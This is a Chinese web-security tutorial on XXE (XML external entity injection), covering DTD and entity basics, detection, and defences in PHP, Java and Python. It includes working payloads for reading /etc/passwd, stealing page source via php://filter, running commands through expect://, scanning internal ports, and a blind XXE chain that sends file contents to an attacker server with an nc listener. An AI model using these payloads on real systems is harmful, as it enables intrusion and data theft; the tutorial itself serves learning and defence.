0x00 XML基础

在介绍xxe漏洞前,先学习温顾一下XML的基础知识。XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

0x01 XML文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

  1. <!--XML申明-->
  2. <?xml version="1.0"?>
  3. <!--文档类型定义-->
  4. <!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
  5. <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
  6. <!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
  7. <!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
  8. <!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
  9. <!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
  10. ]]]>
  11. <!--文档元素-->
  12. <note>
  13. <to>Dave</to>
  14. <from>Tom</from>
  15. <head>Reminder</head>
  16. <body>You are a good man</body>
  17. </note>

由于xxe漏洞与DTD文档相关,因此重点介绍DTD的概念。

0x02 DTD

文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。

1、内部声明DTD:

<!DOCTYPE 根元素 [元素声明]>

2、引用外部DTD:

<!DOCTYPE 根元素 SYSTEM "文件名">

DTD文档中有很多重要的关键字如下:

  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)

0x03 实体

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。实体按类型主要分为以下四种:

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的申明方式。

完整的实体类别可参考 DTD - Entities(https://www.tutorialspoint.com/dtd/dtd_entities.htm)

3.1 实体类别介绍

参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。

参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。

(1)内部实体:

<!ENTITY 实体名称 "实体的值">

(2)外部实体:

<!ENTITY 实体名称 SYSTEM "URI">

(3)参数实体:

  1. <!ENTITY % 实体名称 "实体的值">
  2. 或者
  3. <!ENTITY % 实体名称 SYSTEM "URI">

(4)实例演示:除参数实体外实体+内部实体

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE a [
  3. <!ENTITY name "This is a xxe test!">]>
  4. <foo>
  5. <value>&name;</value>
  6. </foo>

(5)实例演示:参数实体+外部实体

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE a [
  3. <!ENTITY % name SYSTEM "file:///etc/passwd">
  4. %name;
  5. ]>

注意:%name(参数实体)是在 DTD 中被引用的,而 &name(其余实体)是在xml文档中被引用的。

由于xxe漏洞主要是利用了 DTD 引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。

3.2 外部实体外部实体即在DTD中使用

<!ENTITY 实体名称 SYSTEM "URI">

语法引用外部的实体,而非内部实体,那么URI中能写哪些类型的外部实体呢?

主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:

实例演示:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE a [
  3. <!ENTITY name SYSTEM "file:///etc/passwd">]>
  4. <foo>
  5. <value>&name;</value>
  6. </foo>

0x04 XXE漏洞

XXE漏洞全称XML External Entity Injection

即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

4.1 XXE漏洞检测

第一步检测XML是否会被成功解析:

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE ANY [
  3. <!ENTITY name "my name is nMask">]>
  4. <root>&name;</root>

如果页面输出了my name is nMask,说明xml文件可以被解析。

第二步检测服务器是否支持DTD引用外部实体:

  1. <?xml version=”1.0 encoding=”UTF-8”?>
  2. <!DOCTYPE ANY [
  3. <!ENTITY % name SYSTEM "http://localhost/index.html">
  4. %name;
  5. ]>

可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求test.xml的请求。

如果支持引用外部实体,那么很有可能是存在xxe漏洞的。

4.2 漏洞利用

xxe漏洞的危害有很多,比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等

4.2.1 读取任意文件

由于我是在windows上做的测试,因此让其读取c盘下的test.txt文件内容。

如果是linux下,可以读取/etc/passwd等目录下敏感数据。

以上任意文件读取能够成功,除了DTD可有引用外部实体外,还取决于有输出信息,即有回显。

4.2.2 获取页面源码
  1. <?xml version="1.0" encoding="utf-8" ?>
  2. <!DOCTYPE xxe[
  3. <!ELEMENT name ANY>
  4. <!ENTITY xxe SYSTEM "php://filter/read=conver.base64-encode/resouce=index.php">]>
  5. <root>
  6. <name>&xxe;</name>
  7. </root>

返回的base64编码,即为index.php的源码

4.2.3 执行系统命令

在特殊的配置环境下,如PHP环境中PHP的expect模块被加载到了易受攻击的系统或者能处理XML的应用中,就能执行命令。

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe[
  3. <!ELEMENT name ANY>
  4. <!ENTITY xxe SYSTEM "expect://whoami">]>
  5. <root>
  6. <name>&xxe;</name>
  7. </root>
4.2.4 blind xxe漏洞

对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。

创建test.php写入以下内容:

  1. <?php
  2. file_put_contents("test.txt", $_GET['file']) ;
  3. ?>

创建index.php写入以下内容:

  1. <?php
  2. $xml=<<<EOF
  3. <?xml version="1.0" encoding="utf-8"?>
  4. <!DOCTYPE ANY[
  5. <!ENTITY % file SYSTEM "file:///C:/test.txt">
  6. <!ENTITY % remote SYSTEM "http://localhost/test.xml">
  7. %remote;
  8. %all;
  9. %send;
  10. ]>
  11. EOF;
  12. $data = simplexml_load_string($xml) ;
  13. echo "<pre>" ;
  14. print_r($data) ;
  15. ?>

创建test.xml并写入以下内容:

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">

当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。

0x05 寻找 XML 输入点

比如 Content-Type:text/xml, post 的数据包含 XML 格式,如:

  1. <forgot><username>admin</username></forgot>

请求头中添加 Content-Type:text/xmlContent-type:application/xml

同时,POST 中添加 payload :

  1. #任意文件读取(有回显)
  2. <!DOCTYPE foo [<!ELEMENT foo ANY>
  3. <!ENTITY % xxe SYSTEM "file:///etc/passwd">]>
  4. <foo>&xxe;</foo>
  5. #无回显的情况,使用外带数据通道提取数据,先用 file:// 或 php://filter 获取目标文件的内容,然后将内容以 http 请求发送到接收数据的服务器(攻击服务器):
  6. <!DOCTYPE convert [
  7. <!ENTITY % remote SYSTEM "http://ip/test.dtd">
  8. %remote;%int;%send;
  9. ]>
  10. #evil.dtd的内容:(内部的 % 号要进行实体编码成 %)
  11. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
  12. <!ENTITY % int "<!ENTITY &#37 send SYSTEM 'http://ip:9999?p=%file;'>">
  13. #最后用nc进行本地监听
  14. nc -lvv 9999
  15. #命令执行 ( PHP 要开启 PECL 上的 Expect 扩展)
  16. <?xml version="1.0" encoding="utf-8"?>
  17. <!DOCTYPE ANY [
  18. <!ENTITY content SYSTEM "expect://whoami">
  19. ]>
  20. #测试后端服务器的开放端口
  21. <?xml version="1.0" encoding="utf-8"?>
  22. <!DOCTYPE ANY [
  23. <!ENTITY portscan SYSTEM "http://192.168.1.5:3389">
  24. ]>
  25. #通过返回的 “Connection refused” 可以知道该 81 端口是 closed 的,而 80 端口是open的

0x06 XXE漏洞修复与防御

6.1 禁用外部实体

PHP:

  1. libxml_disable_entity_loader(true);

JAVA:

  1. DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
  2. dbf.setExpandEntityReferences(false);

Python:

  1. from lxml import etree
  2. xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

6.2 过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

0x07 参考链接

https://www.cnblogs.com/-zhong/p/11194080.html

https://www.cnblogs.com/r00tuser/p/7255939.html#top

https://blog.csdn.net/Fly_hps/article/details/85228722

https://mp.weixin.qq.com/s?__biz=MzU1ODg3NTMyMQ==&mid=2247489349&idx=1&sn=ab435be65bc6c35a21ea4bd040693d8c&source=41#wechat_redirect

https://mp.weixin.qq.com/s?__biz=MzIwMDY0ODI5Mw==&mid=2247490379&idx=1&sn=d6039c1afbaa55508eec82bbbb94e0b0&chksm=96f8a841a18f2157b60ed90e256bd9ed6dfd88a6ff62a48f8553ee4b2e8293026b63e94e000d&mpshare=1&scene=23&srcid=&sharer_sharetime=1567525313098&sharer_shareid=d32981e13d51bf06188894426d2a54e5#rd

[WEB安全]XXE漏洞总结的更多相关文章

  1. [Web安全] XXE漏洞攻防学习(中)

    0x00.XXE漏洞攻击实例 攻击思路: 1. 引用外部实体远程文件读取 2. Blind XXE 3. Dos 0x01.外部实体引用,有回显 实验操作平台:bWAPP平台上的XXE题目 题目: 进 ...

  2. [Web安全] XXE漏洞攻防学习(上)

    0x00.XXE漏洞 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶 ...

  3. xxe漏洞检测及代码执行过程

    这两天看了xxe漏洞,写一下自己的理解,xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目録遍历等.首先存在漏洞的web服务一定是存 ...

  4. XXE漏洞学习

    0x00 什么是XML 1.定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文 ...

  5. Apache Roller 5.0.3 XXE漏洞分析

    下载5.0.2的版本来分析 5.0.2的war包地址 http://archive.apache.org/dist/roller/roller-5/v5.0.2/bin/roller-weblogge ...

  6. 听补天漏洞审核专家实战讲解XXE漏洞

    对于将“挖洞”作为施展自身才干.展现自身价值方式的白 帽 子来说,听漏洞审核专家讲如何挖掘并验证漏洞,绝对不失为一种快速的成长方式! XXE Injection(XML External Entity ...

  7. PHP XXE漏洞

    PHP xml 外部实体注入漏洞(XXE) 1.环境 PHP 7.0.30Libxml 2.8.0Libxml2.9.0 以后 ,默认不解析外部实体,对于PHP版本不影响XXE的利用 2.原理介绍 X ...

  8. ref:浅谈XXE漏洞攻击与防御

    ref:https://thief.one/2017/06/20/1/ 浅谈XXE漏洞攻击与防御 发表于 2017-06-20   |   分类于 web安全  |   热度 3189 ℃ 你会挽着我 ...

  9. 微信支付的SDK曝出重大漏洞(XXE漏洞)

    一.背景 昨天(2018-07-04)微信支付的SDK曝出重大漏洞(XXE漏洞),通过该漏洞,攻击者可以获取服务器中目录结构.文件内容,如代码.各种私钥等.获取这些信息以后,攻击者便可以为所欲为,其中 ...

随机推荐

  1. bootstrap 模态窗口 多重/多个弹窗滚动条补丁

    由于bootstrap的模态窗口默认不支持多次弹出, 在关闭的时候会有滚动条消失的问题. 经过观察和查看源码, 发现在开启和关闭的时候会在body上增加/减少一个"modal-open&qu ...

  2. xshell退出保持后台服务运行的方法

    Linux后台启动了一个服务,但是退出命令终端后或者退出xshell后,服务就关闭了,要想保持后台服务一直启动,可以使用下面的命令来启动服务 #nohup python3.6 /opt/testman ...

  3. Python函数式编程-map/reduce

    1.map map()传入的第一个参数是f,即函数对象本身. map()函数接收两个参数,一个是函数,一个是Interable,map将传入的函数依次作用到序列的每个元素,并把结果作为新的Iterat ...

  4. 0016SpringBoot实现RESTFUL形式的增删改查

    1.列表页面如下 <!DOCTYPE html><!-- saved from url=(0052)http://getbootstrap.com/docs/4.0/examples ...

  5. python_面向对象——反射

    1.反射 四个方法:getattr() 获取 class Person(): def __init__(self,name,age): self.name = name self.age = age ...

  6. PHP启动php-fpm成功,但php-cgi进程查找不到 502 getaway

    一般情况大家刚把lnmp环境安装好之后,把nginx中 fastcgi_pass unix:/tmp/php-cgi.sock项修改成 fastcgi_pass 127.0.0.1:9000之后,网页 ...

  7. PL/SQL嵌入SQL语句

    一.PL/SQL块中只能直接嵌入SELECT.DML(INSERT,UPDATE,DELETE)以及事务控制语句(COMMIT,ROLLBACK,SAVEPOINT), 而不能直接嵌入DDL语句(CR ...

  8. super关键字小结(构造方法的执行是不是一定会创建对象?)

    1.父类 public class Person { private String name = "李四"; private int age; public Person() { ...

  9. 【bzoj3238】差异 后缀树

    题目大意:给你一个字符串$S$,设$S_i$是串$S$第$i$长的后缀,求: $\sum\limits_{i=1}^{|S|} \sum\limits_{j=i+1}^{|S|} |S_i|+|S_j ...

  10. postgresql学习笔记--基础篇 - copy

    1. psql 导入/导出数据 psql支持文件数据导入到数据库,也支持数据库表数据导出到文件中. COPY命令和\copy 命令都支持这两类操作,但两者有如下区别: COPY 命令是SQL命令,\c ...